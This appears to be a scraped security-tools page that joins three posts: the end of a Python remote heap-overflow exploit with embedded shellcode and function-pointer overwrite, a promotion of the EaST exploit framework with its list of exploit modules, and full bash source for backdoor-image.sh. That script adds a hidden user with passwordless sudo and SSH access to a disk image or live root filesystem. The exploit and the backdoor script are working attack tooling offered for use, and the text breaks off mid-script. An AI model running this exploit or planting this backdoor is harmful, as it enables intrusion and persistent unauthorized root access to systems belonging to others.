sc += "\x8e\x39\xe7\xca\xc4\x66\xeb\xcd\x09\x1d\x17\x45\xac"
sc += "\xf2\x9e\x1d\x8b\xd6\xfb\xc6\xb2\x4f\xa1\xa9\xcb\x90"
sc += "\x0a\x15\x6e\xda\xa6\x42\x03\x81\xac\x95\x91\xbf\x82"
sc += "\x96\xa9\xbf\xb2\xfe\x98\x34\x5d\x78\x25\x9f\x1a\x76"
sc += "\x6f\x82\x0a\x1f\x36\x56\x0f\x42\xc9\x8c\x53\x7b\x4a"
sc += "\x25\x2b\x78\x52\x4c\x2e\xc4\xd4\xbc\x42\x55\xb1\xc2"
sc += "\xf1\x56\x90\xa0\x94\xc4\x78\x09\x33\x6d\x1a\x55"
	
def send( type, pack_len, data=None):
	
	if pack_len < 6 or pack_len > 0x3d090:
		print "Length(Arg 2) must be between 6 and 0x3d090 bytes."
	
	#Set the type
	buf = struct.pack('>h', type)
	
	#Send length, must be less than 0x3d090, can be negative
	buf += struct.pack('>i', pack_len)
	
	#Send data
	if pack_len > 0:
		if data == None:
			data = os.urandom(pack_len-6)
		else:
			data_len = len(data)
			curr_size = data_len +6
			if curr_size < pack_len:
				data += os.urandom( pack_len - curr_size)
		buf += data
	try:
		#Send and receive
		csock.send(buf)
	except:
		pass

def send_receive(type, pack_len, data=None):
	
	ret_len = 0
	if pack_len < 6 or pack_len > 0x3d090:
		print "Length(Arg 2) must be between 6 and 0x3d090 bytes."
	
	#Set the type
	buf = struct.pack('>h', type)
	
	#Send length, must be less than 0x3d090, can be negative
	buf += struct.pack('>i', pack_len)
	
	#Send header
	csock.send(buf)
	
	#Send data
	try:
		if pack_len > 0:
			if data == None:
				data = os.urandom(pack_len-6)
				
			#Send and receive
			csock.send(data)
		#print "\nSent type: " + str(type) + " len: " + str(pack_len)
	except:
		print "\nTimed out: " + str(type) + " len: " + str(pack_len)
	
	ret_data = ''
	try:
		#ret_data += csock.recv( 0x6600 )
		while True:
			ret_data += csock.recv(1024)
										
	except:
		pass
		
	return ret_data	
	
def leak_mem( starting_size, overwrite_byte, max_len ):

	j = starting_size
	k = 7
	
	ret_data = ''
	while True:	

		#Data overflow type
		i = 256
			
		#send a packet and try to receive results
		data = ''
		data += "\x00"
		data += overwrite_byte * j
		data += "\x00"
		
		#send and receive
		ret_data = send_receive( i, len(data) + 6, data )
		ret_buf_len = len(ret_data)
		diff = max_len - ret_buf_len
		
		print "\nReceived %s Bytes: " % hex(ret_buf_len)
		if ret_buf_len > max_len:
			break
		elif diff < 0x26:
			j = 65
		elif diff < 0x100:
			j = 72
		else:
			j = (diff / 2) + 64
			
		time.sleep(0.2)
	
	return ret_data
	
	
def free_alloc_ptrs( ptr_offset ):
	
	#Free buffers
	free_number = ptr_offset

	#Free buffers
	i = 265

	#send a packet to zero out the target address
	data = struct.pack('>I', free_number)
	data += "\x00"
		
	ret_len = send_receive( i, len(data) + 6, data )	
	
def groom_heap( size ):

	#Data overflow type
	i = 84
		
	#send a packet and try to receive results
	data = ''
	#data += offset
	offset = random.randint(1, 2000000000)
	data += struct.pack('>I', offset)
	data += "A"* size
	data += "\x00"
		
	ret_len = send( i, len(data) + 6, data )
	time.sleep(0.2)
					
	#print "[+] Completed grooming the heap for " + str(num_packets) + " iterations. "
	
def alloc_free_single( index, alloc_flag, size ):

	if index < 0 or index > 100:	
		print "Please give an index > 0 and < 100.\n"

	#Try things
	i = 122

	data = struct.pack('>h', index )
	if alloc_flag:
		data += "A"* size		
		#print "[+] Allocated buffer for index " + str(index)
	#else:
		#print "[+] Freed buffer at index " + str(index)
		
	data += "\x00"
	
	send_receive( i, len(data) + 6, data)
	
def trigger_heap_overflow( len_str ):

	#Data overflow type
	i = 27
		
	#send a packet and try to receive results
	data = ''
	if len_str > 0:
		data += "\x90" * len_str
		data += sc
	data += "\x00"
		
	ret_len = send_receive( i, len(data) + 6, data )
	
	
if len (sys.argv) == 3:
    (progname, host, port) = sys.argv
else:
    print len (sys.argv)
    print 'Usage: {0} host port'.format (sys.argv[0])
    exit (1)

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )
csock.settimeout(0.5)

print "[+] Connected to server."

#Free buffers
print "[+] Reallocating initial heap buffers for exploit."
free_number = 0xFF439EB2
free_alloc_ptrs( free_number )

#Alloc buffers
alloc_number = 0xf5000
free_alloc_ptrs( alloc_number )

# Release heap address
print "[+] Freeing heap buffer for heap overflow."
trigger_heap_overflow(0)

print "[+] Overflowing data section to leak heap pointers."
#Send initial packet, crashes sometimes without it
#Data overflow type
i = 256
		
#send a packet and try to receive results
data = ''
data += "\x00"
data += "\x01" * 64
data += "\x00"
	
ret_data = send_receive( i, len(data) + 6, data )

# offset to addr + header
offset_to_addr = 0x65e0 + 6
offset_to_addr2 = 0x3aa8 + 6

# Fill the data section with 0x1s
ret_data = leak_mem( 0x3a00, "\x01", offset_to_addr )

# Get the data so we can parse it
ret_data = leak_mem( 65, "\x04", offset_to_addr + 2 )
ret_buf_len = len(ret_data)		
	
#print out
off_addr_arr = ret_data[offset_to_addr:offset_to_addr+4]
off_addr_arr2 = ret_data[offset_to_addr2:offset_to_addr2+4]

if len(off_addr_arr) == 4: 
	off_addr = struct.unpack("i", off_addr_arr)[0]
else:
	off_addr = 0x0
	
print "Arb write address: " + hex(off_addr)

off_addr2 = struct.unpack("i", off_addr_arr2)[0]
print "Dependent address: " +hex(off_addr2)

# Activate low frag heap
print "[+] Activating Low Fragmentaion Heap for second size and skipping first bucket."
for i in range( 0, 0x70):
	groom_heap( 0xff )
	
#Reserve spot for later
alloc_free_single( 12, True, 0xff )	
alloc_free_single( 13, True, 0xff )	

for i in range( 0, 0x30):
	groom_heap( 0xff )

#Free one
alloc_free_single( 13, False, 0xff )	

# Func Ptr
func_ptr_addr = 0x04E9128
offset = (func_ptr_addr - off_addr)/4
#print "Offset: " + binascii.hexlify( struct.pack('>i', int(offset)) )

# Arbitrary write
print "[+] Triggering function pointer overwrite with heap pointer."
i = 70
offset2 = 0xf5000
	
#send a packet and try to receive results
data = ''
data += struct.pack('>i', int(offset))
data += struct.pack('>i', offset2)
data += "\x01" * 0xffa9
data += "\x00"*16
		
ret_len = send_receive( i, len(data) + 6, data )
time.sleep( 2 )

#Reserve spot for later
alloc_free_single( 12, False, 0xff )	

# Arbitrary write
print "[+] Overflowing heap allocation with shellcode."

func_ptr_addr = 0x04E9348
offset = (func_ptr_addr - off_addr)/4
i = 70
offset2 = 0xf5000
	
#send a packet and try to receive results
data = ''
data += struct.pack('>i', int(offset))
data += struct.pack('>i', offset2)

buf = "\x90" * 0x500
buf += sc

data += buf
data += "\x01" * ( 0xffa9 - len(buf) )
data += "\x00"*16
		
ret_len = send_receive( i, len(data) + 6, data )
time.sleep( 2 )

# Call function pointer
print "[+] Calling overwritten function pointer."
i = 12

data = struct.pack('>i', 100)
send_receive( i, len(data) + 6, data)

time.sleep( 10 )

csock.close()

Source :  https://github.com/securifera


EaST – Exploits and Security Tools Framework.

$
0
0

This software is necessary for learning and improving skills and knowledge of attacks on information systems and to conduct audits and proactive protection. The need to develop domestic Pentest framework – accessible, affordable, high-confidence – is long overdue. Therefore, for domestic (as well as to friendly domestic) markets IB was created EAST framework. EAST is a framework that has in its arsenal all the necessary tools to operate a broad range of vulnerabilities from the Web to a buffer overflow. From other similar instruments EAST is simple and easy to use. To master it, and begin to develop in the field of information security can be even a novice researcher!

EaST GUI v0.9.5

EaST GUI v0.9.5 Current Version

Main characteristics:
+Security framework! Software used for information security must be a high level of user confidence. The EAST is implemented open, easily verifiable source code for Python. it is used for all components of the framework and modules. In this relatively small amount of code simplifies the verification of any user. During installation no changes in the OS is not performed
+ Maximum simplicity of the framework. Download the archive, run the main python script start.py, implementing the start-stop exploits, messaging … All management – locally or remotely through a browser.
+ Easily create and edit. The ability to edit and add modules and exploits “on the fly” without restarting. Code module body is simple and minimal volume.
+ Cross-platform + minimum requirements and dependencies. Tested on Windows and Linux. I should work wherever there is Python. The framework contains all the dependencies and “pulls” ext. libraries.
+ Full functionality of the classic framework Pentest! Despite the simplicity and “no congestion” – has in its arsenal of all necessary means to operate a broad range of vulnerabilities from the Web to a buffer overflow.
+ Great opportunities for capacity. Server-client architecture, API for messaging, support libraries – allow third party developers to create their own open-source solutions, or participate in the development of EAST.

east-cli

east-cli

Exploit list:
+ ef_bitdefender_gravityzone_dt.py Directory traversal
+ ef_cogento_datahub_afd.py Arbitrary File Download
+ ef_e_detective_afd.py Arbitrary File Download
+ ef_easyfile_webserver_sbo.py Stack Buffer Overwlow
+ ef_fhfs_rce.py Remote Command Execution
+ ef_joomla_gallery_wd_bsqli.py Blind SQL Injection
+ ef_solarwinds_log_and_event_manager_rce.py Remote Command Execution
+ ef_symantec_pcanywhere_host_rce.py Remote Command Execution
+ ef_wincc_miniweb_dos.py Denial of Service
+ ef_winrar_rce.py Remote Command Execution
+ port_scanner.py Tools

Installation and Usage:

git clone https://github.com/C0reL0ader/EaST && cd EaST
python start.py
then open your favorite Browser for GUI.

Source: https://github.com/C0reL0ader & http://eastfw.com/

backdoor-image is a ‘backdoor’ user to a image or filesystem at ‘target’.

$
0
0

NOTICE : This post and script for research Purpose Only!
backdoor-image is a ‘backdoor’ user to a image or filesystem at ‘target’.
File lists:
+ backdoor-image.sh add a ‘backdoor’ user to a image or filesystem at ‘target’

backdoor-image.sh

backdoor-image.sh

mount-callback-umount

mount-callback-umount

+ mount-callback-umount : mount a file to a temporary mount point and then invoke the provided cmd with args, the temporary mountpoint will be put in an a environment variable named MOUNTPOINT

Usage:

git clone https://github.com/Crazykev/backdoor-image && cd backdoor-image
chmod +x backdoor-image.sh
chmod +x mount-callback-umount

backdoor-image.sh Script:

#!/bin/bash

VERBOSITY=0
TEMP_D=""
DEFAULT_USER="backdoor"

error() { echo "$@" 1>&2; }

Usage() {
	cat <<EOF
Usage: ${0##*/} [ options ] target
   add a 'backdoor' user to a image or filesystem at 'target'
   options:
      --import-id U      use 'ssh-import-id' to get ssh public keys
                         may be used more than once.
      --force            required to operate on / filesystem
      --password P       set password P, implies --password-auth
      --password-auth    enable password auth
      --pubkeys  F       add public keys from file 'F'
                         default: ~/.ssh/id_rsa.pub unless --password
                         or --import-id specified
      --user      U      use user 'U' (default: '${DEFAULT_USER}')
EOF
}

bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
	[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm -Rf "${TEMP_D}"
}

debug() {
	local level=${1}; shift;
	[ "${level}" -gt "${VERBOSITY}" ] && return
	error "${@}"
}

mod_sshd_bool() {
	local cfg="$1" kn="$2" target="$3" dry=${4:-false}
	local ws=$' \t' msg=""
	local match="^\([#]\{0,1\}\)[#$ws]*$kn\([$ws]\+\)\(yes\|no\)"
	local cur="" hsh="#"
	cur=$(sed -n "s/$match/\1\3/p" "$cfg") ||
		{ error "failed to read $cfg"; return 1; }
	if [ -n "$cur" ]; then
		case "$cur" in
			"#$target") msg="uncommenting, '$target' line";;
			"#*") msg="uncommenting, changing '{cur#$hsh}' to '$target'";;
			"$target") msg="nochange";;
			"*") msg="changing '$cur' to '$target'";;
		esac
		if [ "$msg" = "nochange" ]; then
			debug 1 "no change to $cfg necessary"
		else
			debug 1 "updating $cfg: $msg"
			$dry && return
			sed -i "s/$match/$kn\2${target}/" "$cfg" ||
				{ error "failed to update $cfg"; return 1; }
		fi
	else
		debug 1 "appending entry for '$kn $target' to $cfg"
		$dry && return
		echo "$kn $target" >> "$cfg" ||
			{ error "failed to append entry to $cfg"; return 1; }
	fi
	return 0
}

test_mod_sshd_cfg() {
	local kn="PasswordAuthentication"
	echo "#$kn   yes" > f1
	echo "#$kn  no" > f2
	echo "$kn yes" > f3
	echo "$kn no" > f4
	: > f5
	for f in f1 f2 f3 f4 f5; do
		mod_sshd_bool "$f" PasswordAuthentication yes true
	done
}

add_group_ent() {
	local group="$1" gid="$2" fgroup="$3" dry="${4:-false}"
	local grent="$group:x:$gid:"
	if grep -q "^$group:" "$fgroup"; then
		debug 1 "remove $group from group file"
		$dry || sed -i "/^$group:/d" "$fgroup" ||
			{ error "failed to remove user from group"; return 1; }
	fi

	debug 1 "append entry to group: $grent"
	if ! $dry; then
		echo "$grent" >> "$fgroup" ||
			{ error "failed to update group file"; return 1; }
	fi
	return 0
}

add_passwd_ent() {
	local user="$1" uid="$2" gid="$3" home="$4" fpasswd="$5" dry=${6:-false}

	if grep -q "^$user:" "$fpasswd"; then
		debug 1 "remove $user from password file"
		$dry || sed -i "/^$user:/d" "$fpasswd" ||
			{ error "failed to remove user from password file"; return 1; }
	fi

	local pwent="$user:x:$uid:$gid:backdoor:$home:/bin/bash"
	debug 1 "append entry to passwd: $pwent"
	if ! $dry; then
		echo "$pwent" >> "$fpasswd" ||
			{ error "failed to update passwd file"; return 1; }
	fi
}

encrypt_pass() {
	local pass="$1" fmt="${2-\$6\$}"
	enc=$(echo "$pass" |
		perl -e '
			$p=<STDIN>; chomp($p);
			$salt = join "", map { (q(a)..q(z))[rand(26)] } 1 .. 8;
			if (${ARGV[0]}) { $salt = "${ARGV[0]}$salt\$"; }
			print crypt($p, "$salt") . "\n";' "$fmt") || return
	[ -n "${enc}" ] && [ -z "${fmt}" -o "${enc#${fmt}}" != "${fmt}" ] &&
	_RET="$enc"
}

add_shadow_ent() {
	local user="$1" pass="$2" fshadow="$3" dry="$4"
	local encrypt_pre="\$6\$" shent="" encpass="" pwchange=""

	# if input was '$6$' format, just use it verbatum
	if [ "${pass#${encrypt_pre}}" != "${pass}" ]; then
		debug 1 "using encrypted password from cmdline"
		encpass="$pass"
	else
		encrypt_pass "$pass" && encpass="$_RET" ||
			{ error "failed to encrypt password"; return 1; }
	fi

	# pwchange is number of days since 1970
	pwchange=$(($(date +"(%Y-1970)*365 + 10#%j")))
	shent="$user:$encpass:$pwchange:0:99999:7:::"

	if grep -q "^$user:" "$fshadow"; then
		debug 1 "remove $user from shadow file"
		$dry || sed -i "/^$user:/d" "$fshadow" ||
			{ error "failed to remove user from shadow"; return 1; }
	fi

	debug 1 "append entry to shadow: $shent"
	if ! $dry; then
		echo "$shent" >> "$fshadow" ||
			{ error "failed to update shadow file"; return 1; }
	fi
	return 0

}

add_sudo_ent() {
	local user="$1" mp="$2" dry="$3"

	local target="/etc/sudoers.d/99-$user"

	local ent="$user ALL=(ALL) NOPASSWD:ALL"
	local start="#BACKDOOR_START_${user}"
	local end="#BACKDOOR_end_${user}"
	local content=$(printf "%s\n%s\n%s\n" "$start" "$ent" "$end")

	if [ -f "$mp/etc/lsb-release" ] &&
		grep -i lucid -q "$mp/etc/lsb-release"; then
		target="/etc/sudoers"
		debug 2 "$mp does not seem to support sudoers.d"
		debug 1 "add sudoers ($mp,$target): $ent"
		if grep -q "^$start$" "$mp/$target"; then
			debug 2 "removing $user entry from $target"
			if ! $dry; then
				sed -i "/^${start}$/,/^${end}$/d" "$target" ||
					{ error "failed update $target"; return 1; }
			fi
		fi
		if ! $dry; then
			( umask 226 && echo "$content" >> "$mp/$target" ) ||
				{ error "failed to add sudoers entry to $target"; return 1; }
		fi
	else
		debug 1 "add sudoers ($mp,$target): $ent"
		if ! $dry; then
			rm -f "$mp/$target" &&
				( umask 226 && echo "$content" > "$mp/$target" ) ||
				{ error "failed to add sudoers entry to $target"; return 1; }
		fi
	fi
}

add_user() {
	local user="$1" pass="$2" uid="$3" gid="$4" home="$5"
	local rootd="$6" dry="${7:-false}"
	local fpasswd="$rootd/etc/passwd" fshadow="$rootd/etc/shadow"
	local fgroup="$rootd/etc/group"

	[ -f "$fpasswd" ] || { error "no password file"; return 1; }
	[ -f "$fshadow" ] || { error "no shadow file"; return 1; }
	[ -f "$fgroup" ] || { error "no group file"; return 1; }

	local group="$user" f="" t=""
	
	add_passwd_ent "$user" "$uid" "$gid" "$home" "$fpasswd" "$dry" || return 1
	add_group_ent "$group" "$gid" "$fgroup" "$dry" || return 1
	add_shadow_ent "$user" "$pass" "$fshadow" "$dry" || return 1

	debug 1 "create $rootd/home/$user"
	if ! $dry; then
		mkdir -p "$rootd/home/$user" &&
			chown $uid:$gid "$rootd/home/$user" ||
			{ error "failed to make home dir"; return 1; }
		for f in "$rootd/etc/skel/".* "$rootd/etc/skel/"*; do
			[ -e "$f" ] || continue
			t="$rootd/home/$user/${f##*/}"
			[ ! -e "$t" ] || continue
			cp -a "$f" "$t" && chown -R "$uid:$gid" "$t" ||
				{ error "failed to copy $f to $t"; return 1; }
		done
	fi
}

add_user_keys() {
	local keys="$1" dir="$2" ownership="$3" dry="${4:-false}"
	debug 1 "add ssh keys to $dir with $ownership"
	$dry && return
	mkdir -p "$dir" &&
		cp "$keys" "$dir/authorized_keys" &&
		chmod 600 "$dir/authorized_keys" &&
		chown "$ownership" "$dir" "$dir/authorized_keys" &&
		chmod 700 "$dir" ||
		{ error "failed to add user keys"; return 1; }
	if [ $VERBOSITY -ge 1 ]; then
		debug 1 "added ssh keys:"
		sed "s,^,| ," "$keys"
	fi
}

gen_ssh_keys() {
	local mp="$1" types="${2:-rsa}" dry="${3:-false}"
	local ktype="" file="" ftmpl="/etc/ssh/ssh_host_%s_key" out=""
	for ktype in $types; do
		file=${ftmpl//%s/$ktype}
		if [ -f "$mp/$file" ]; then
			debug 2 "existing key for $mp/$file"
			continue
		fi
		debug 1 "ssh-keygen -t $ktype -N '' -f '$file' -C backdoor"
		$dry && continue
		out=$(ssh-keygen -t "$ktype" -N '' -f "$mp/$file" -C backdoor 2>&1) || {
			error "$out"
			error "failed generate keytype $ktype";
			return 1;
		}
		out=$(ssh-keygen -l -f "$mp/$file")
		debug 1 "$out"
	done
}

apply_changes() {
	local mp="$1" user="$2" password="$3" pwauth="$4" pubkeys="$5"
	local dry="${6:-false}"
	local home="/home/$user" key=""
 	local uid="9999" gid="9999"

	local sshcfg="$mp/etc/ssh/sshd_config"
	[ -f "$sshcfg" ] || 
		{ error "$sshcfg did no exist"; return 1; }

	key="PubkeyAuthentication"
	mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" ||
		{ error "failed to set $key to yes"; return 1; }

	if $pwauth; then
		key="PasswordAuthentication"
		mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" ||
			{ error "failed to set $key to yes"; return 1; }
	fi

	gen_ssh_keys "$mp" "rsa" "$dry" || return 1

	add_user "$user" "$password" "$uid" "$gid" "$home" "$mp" "$dry" || return 1

	[ -z "$pubkeys" ] ||
		add_user_keys "$pubkeys" "$mp/$home/.ssh" "$uid:$gid" || return 1

	add_sudo_ent "$user" "$mp" "$dry" || return 1

}

main() {
	short_opts="hv"
	long_opts="help,dry-run,force,import-id:,password:,password-auth,pubkeys:,user:,verbose"
	getopt_out=$(getopt --name "${0##*/}" \
		--options "{short_opts}" --long "${long_opts}" -- "$@") &&
		eval set -- "${getopt_out}" ||
		bad_Usage

	local user="" password="" pwauth=false pubkeys="" import_ids="" dry=false
	local target="" pkfile="" force=false
	user="${DEFAULT_USER}"

	local args=""
	args=( "$@" )
	unset args[${#args[@]}-1]

	while [ $# -ne 0 ]; do
		cur=${1}; next=${2};
		case "$cur" in
			-h|--help) Usage ; exit 0;;
			   --dry-run) dry=true;;
			   --force) force=true;;
			   --import-id)
					import_ids="${import_ids:+${import_ids} }$next";
					shift;;
			   --password) password=$next; shift;;
			   --password-auth) pwauth=true;;
			   --pubkeys) pubkeys=$next; shift;;
			   --user) user=$next; shift;;
			-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
			--) shift; break;;
		esac
		shift;
	done

	[ $# -ne 0 ] || { bad_Usage "must provide image"; return 1; }
	[ $# -ge 2 ] && { bad_Usage "too many arguments: $*"; return 1; }

	[ "$(id -u)" = "0" ] || 
		{ error "sorry, must be root"; return 1; }

	target="$1"
	if [ -d "$target" ]; then
		if [ "$target" -ef "/" ] && ! $force; then
			error "you must specify --force to operate on /"
			return 1
		fi
	elif [ -f "$target" ]; then
		local vopt="" mcu="mount-callback-umount"
		if [ ${VERBOSITY} -ge 2 ]; then
			vopt="-v"
		fi
		if ! command -v "$mcu" >/dev/null 2>&1; then
			if [ -x "${0%/*}/$mcu" ]; then
				PATH="${0%/*}:$PATH"
			elif command -v "mount-image-callback" >/dev/null 2>&1; then
				mcu="mount-image-callback"
			else
				error "No '$mcu' or 'mount-image-callback' in PATH"
				return 1
			fi
		fi
		exec "$mcu" $vopt -- "$target" "$0" "${args[@]}" _MOUNTPOINT_
	else
		[ -f "$target" ] || { error "$target: not a file"; return 1; }
	fi

	if [ -n "$password" ] && ! which perl >/dev/null 2>&1; then
		{ error "perl required for making password"; return 1; }
		pwauth=true
	fi

	{ [ -z "$import_ids" ] || which ssh-import-id >/dev/null 2>&1; } ||
		{ error "you do not have ssh-import-id"; return 1; }

	TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
		{ error "failed to make tempdir"; return 1; }
	trap cleanup EXIT

	pkfile="${TEMP_D}/pubkeys"
	if [ -z "$password" -a -z "$pubkeys" -a -z "$import_ids" ]; then
		[ -f ~/.ssh/id_rsa.pub ] || {
			error "must specify one of --password, --pubkeys, --import-id"
			error "either pass an argument or create ~/.ssh/id_rsa.pub"
			return 1
		}
		debug 1 "set pubkeys to ~/.ssh/id_rsa.pub"
		pubkeys=$(echo ~/.ssh/id_rsa.pub)
	fi

	if [ -n "$pubkeys" ]; then
		cp "$pubkeys" "$pkfile" ||
			{ error "failed to copy $pubkeys"; return 1; }
	fi

	if [ -n "$import_ids" ]; then
		ssh-import-id --output "$pkfile.i" ${import_ids} &&
			cat "$pkfile.i" >> "$pkfile" ||
			{ error "failed to import ssh users: $import_ids"; return 1; }
	fi

	[ -f "$pkfile" ] || pkfile=""

	apply_changes "$target" "$user" "$password" "$pwauth" "$pkfile"
	[ $? -eq 0 ] || { error "failed to apply changes"; return 1; }

	error "added user '$user' to $target"
	[ -n "$password" ] && error "set password to $password."
	$pwauth && error "enabled password auth" ||
		error "did not enable password auth"
	[ -n "$pubkeys" ] && error "added pubkeys from $pubkeys."
	[ -n "$import_ids" ] && error "imported ssh keys for $import_ids"
	return 0
}

main "$@"

# vi: ts=4 noexpandtab

mount-callback-umount Script:

#!/bin/bash

VERBOSITY=0
TEMP_D=""
UMOUNT=""
QEMU_DISCONNECT=""

error() { echo "$@" 1>&2; }

Usage() {
	cat <<EOF
Usage: ${0##*/} [ options ] file cmd [ args ]
   mount a file to a temporary mount point and then
   invoke the provided cmd with args
   the temporary mountpoint will be put in an a environment variable
   named MOUNTPOINT.
   if any of the arguments are the literal string '_MOUNTPOINT_', then
   they will be replaced with the mount point. Example:
      ${0##*/} my.img chroot _MOUNTPOINT_ /bin/sh
   options:
    -v | --verbose             increase verbosity
         --read-only           use read-only mount.
    -p | --proc                bind mount /proc
    -s | --sys                 bind mount /sys
    -d | --dev                 bind mount /dev
         --system-mounts       bind mount /sys, /proc, /dev
         --system-resolvconf   copy host's resolvconf into /etc/resolvconf
EOF
}

# umount_r(mp) : unmount any filesystems under r
#  this is useful to unmount a chroot that had sys, proc ... mounted
umount_r() {
	local p
	for p in "$@"; do
		[ -n "$p" ] || continue
		tac /proc/mounts | sh -c '
			p=$1
			while read s mp t opt a b ; do
				[ "${mp}" = "${p}" -o "${mp#${p}/}" != "${mp}" ] ||
					continue
				umount "$mp" || exit 1
			done
			exit 0' umount_r "${p%/}"
		[ $? -eq 0 ] || return
	done
}

bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
	if [ -n "$UMOUNT" ]; then
		umount_r "$UMOUNT" ||
			error "WARNING: unmounting filesystems failed!"
	fi
	if [ -n "$QEMU_DISCONNECT" ]; then
		local out=""
		out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) || {
			error "warning: failed: qemu-nbd --disconnect $QEMU_DISCONNECT"
			error "$out"
		}
	fi
	[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] ||
		rm --one-file-system -Rf "${TEMP_D}" ||
		error "removal of temp dir failed!"
}

debug() {
	local level="$1"; shift;
	[ "${level}" -gt "${VERBOSITY}" ] && return
	error "${@}"
}

mount_callback_umount() {
	local img_in="$1" dev="" out="" mp="" ret="" img="" ro=""
	local opts="" bmounts="" system_resolvconf=false

	short_opts="dhpsv"
	long_opts="dev,help,proc,read-only,sys,system-mounts,system-resolvconf,verbose"
	getopt_out=$(getopt --name "${0##*/}" \
		--options "{short_opts}" --long "${long_opts}" -- "$@") &&
		eval set -- "${getopt_out}" ||
		{ bad_Usage; return 1; }

	while [ $# -ne 0 ]; do
		cur=${1}; next=${2};
		case "$cur" in
			-d|--dev) bmounts="${bmounts:+${bmounts} /dev}";;
			-h|--help) Usage ; exit 0;;
			-p|--proc) bmounts="${bmounts:+${bmounts} /proc}";;
			-s|--sys) bmounts="${bmounts:+${bmounts} /sys}";;
			   --system-mounts) bmounts="/dev /proc /sys";;
			   --system-resolvconf) system_resolvconf=true;;
			-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
			   --opts) opts="${opts} $next"; shift;;
			   --read-only) ro="ro";;
			--) shift; break;;
		esac
		shift;
	done

	[ $# -ge 2 ] || { bad_Usage "must provide image and cmd"; return 1; }

	[ -n "$ro" ] && $system_resolvconf && {
		error "--read-only is incompatible with system-resolvconf";
		return 1;
	}

	img_in="$1"
	shift 1

	img=$(readlink -f "$img_in") ||
		{ error "failed to get full path to $img_in"; return 1; }

	[ "$(id -u)" = "0" ] || 
		{ error "sorry, must be root"; return 1; }

	TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
		{ error "failed to make tempdir"; return 1; }
	trap cleanup EXIT

	mp="${TEMP_D}/mp"

	mkdir "$mp" || return

	local cmd="" arg="" found=false
	cmd=( )
	for arg in "$@"; do
		if [ "${arg}" = "_MOUNTPOINT_" ]; then
			debug 1 "replaced string _MOUNTPOINT_ in arguments arg ${#cmd[@]}"
			arg=$mp
		fi
		cmd[${#cmd[@]}]="$arg"
	done

	if [ "{cmd[0]##*/}" = "bash" -o "{cmd[0]##*/}" = "sh" ] &&
	   [ ${#cmd[@]} -eq 0 ]; then
		debug 1 "invoking shell {cmd[0]}"
		error "MOUNTPOINT=$mp"
	fi

	local hasqemu=false
	command -v "qemu-nbd" >/dev/null 2>&1 && hasqemu=true

	if out=$(set -f; mount -o loop{ro:+,$ro} $opts \
	         "$img" "$mp" 2>&1); then
		debug 1 "mounted simple filesystem image '$img_in'"
		UMOUNT="$mp"
	else
		if ! $hasqemu; then
			error "simple mount of '$img_in' failed."
			error "if this not a raw image, or it is partitioned"
			error "you must have qemu-nbd (apt-get install qemu-utils)"
			error "mount failed with: $out"
			return 1
		fi
	fi

	if [ -z "$UMOUNT" ]; then
		if [ ! -e /sys/block/nbd0 ] && ! grep -q nbd /proc/modules; then
			debug 1 "trying to load nbd module"
			modprobe nbd >/dev/null 2>&1
			udevadm settle >/dev/null 2>&1
		fi
		[ -e /sys/block/nbd0 ] || {
			error "no nbd kernel support, but simple mount failed"
			return 1;
		}

		local f nbd=""
		for f in /sys/block/nbd*; do
			[ -d "$f" -a ! -f "$f/pid" ] && nbd=${f##*/} && break
		done
		if [ -z "$nbd" ]; then
			error "failed to find an nbd device"
			return 1;
		fi
		nbd="/dev/$nbd"

		if ! qemu-nbd --connect "$nbd" "$img"; then
			error "failed to qemu-nbd connect $img to $nbd"
			return 1
		fi
		QEMU_DISCONNECT="$nbd"

		local pfile="/sys/block/${nbd#/dev/}/pid"
		if [ ! -f "$pfile" ]; then
			debug 1 "waiting on pidfile for $nbd in $pfile"
			local i=0
			while [ ! -f "$pfile" ] && i=$(($i+1)); do
				if [ $i -eq 200 ]; then
					error "giving up on pidfile $pfile for $nbd"
					return 1
				fi
				sleep .1
				debug 2 "."
			done
		fi

		debug 1 "connected $img_in to $nbd. now udev-settling"
		udevadm settle >/dev/null 2>&1

		local mdev="$nbd"
		if [ -b "${nbd}p1" ]; then
			mdev="${nbd}p1"
		fi
		if ( set -f; mount {ro:+-o ${ro}} $opts "$mdev" "$mp" ) &&
			UMOUNT="$mp"; then
			debug 1 "mounted $mdev via qemu-nbd $nbd"
		else
			local pid="" pfile="/sys/block/${nbd#/dev/}/pid"
			{ read pid < "$pfile" ; } >/dev/null 2>&1
			[ -n "$pid" -a ! -d "/proc/$pid" ] ||
				error "qemu-nbd process seems to have died. was '$pid'"

			qemu-nbd --disconnect "$nbd" && QEMU_DISCONNECT=""
			error "failed to mount $mdev"
			return 1
		fi

	fi

	local bindmp=""
	for bindmp in $bmounts; do
		[ -d "$mp${bindmp}" ] || mkdir "$mp${bindmp}" ||
			{ error "failed mkdir $bindmp in mount"; return 1; }
		mount --bind "$bindmp" "$mp/${bindmp}" ||
			{ error "failed bind mount '$bindmp'"; return 1; }
	done

	if ${system_resolvconf}; then
		local rcf="$mp/etc/resolv.conf"
		debug 1 "replacing /etc/resolvconf"
		if [ -e "$rcf" -o -L "$rcf" ]; then
			local trcf="$rcf.${0##*/}.$$"
			rm -f "$trcf" &&
				mv "$rcf" "$trcf" && ORIG_RESOLVCONF="$trcf" ||
				{ error "failed mv $rcf"; return 1; }
		fi
		cp "/etc/resolv.conf" "$rcf" ||
			{ error "failed copy /etc/resolv.conf"; return 1; }
	fi

	debug 1 "invoking: MOUNTPOINT=$mp" "{cmd[@]}"
	MOUNTPOINT="$mp" "{cmd[@]}"
	ret=$?

	if ${system_resolvconf}; then
		local rcf="$mp/etc/resolv.conf"
		cmp --quiet "/etc/resolv.conf" "$rcf" >/dev/null ||
			error "WARN: /etc/resolv.conf changed in image!"
		rm "$rcf" &&
